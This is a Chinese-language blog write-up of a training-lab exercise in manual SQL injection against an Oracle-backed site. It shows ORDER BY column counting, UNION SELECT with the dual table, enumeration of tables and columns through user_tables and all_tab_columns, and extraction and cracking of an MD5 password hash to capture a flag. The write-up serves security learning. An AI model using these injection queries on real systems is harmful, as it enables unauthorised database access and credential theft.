SQL手工注入漏洞测试(Oracle数据库)
1. 判断注入点
判断注入类型为数字型
2. 用order by获取列数
2时正常,3时报错,得到列数为2
3. 联合查询获取占位符
常规联合查询报错
这是由于oracle数据库语法十分严格,在后面需要指定数据表和准确的字符类型
我们使用dual表,dual 是oracle中的一个实际存在的表,任何用户均可读取
并使用null测试字符类型
测试结果如下,取得占位
4. 获取表名
构造语句select table_name from user_tables where rownum=1,获取到了第一张表
user_tables:查询oracle中所有的用户表,也可以使用all_tables获取所有表
rownum:每次只能显示一条数据
这显然不是所需要的,我们需要的是admin或者user,而经过测试得到admin并不存在
我们可以通过and table_name not in ('LOGMNR_SESSION_EVOLVE$')得到第二张表,第三张往后以此类推
但为了方便,可以构造语句,指定关键词进行模糊查询
select table_name from user_tables where rownum=1 and table_name like '%user%',得到如下:
sns_users是我们需要的
5. 获取列名
构造语句select column_name from all_tab_columns where rownum=1 and table_name = 'sns_users'
获取到了第一个列名USER_NAME
all_tab_columns:获取系统中所有表和列的信息
通过and column_name not in ('USER_NAME')获取到第二张表,往后以此类推
这里获取到了name和pwd就够了
6. 获取数据
前面我们获得了字段USER_NAME和USER_PWD,以及表名sns_users
通过union select user_name,user_pwd from "sns_users"直接获取数据
但是得到的这个账户hu,密码无法被md5解密,也不是实际的密码
此时需要换一个账户,构造语句where USER_NAME<>'hu'
<>等同于not in
得到账户mozhe和md5加密后的密码,解密后为967079
登录后台,获得flag为mozheca7f11f588329d180ee1591be80
标签:USER,name,数据库,获取,user,SQL,table,注入 From: https://www.cnblogs.com/Iwakura-Lain/p/17429386.html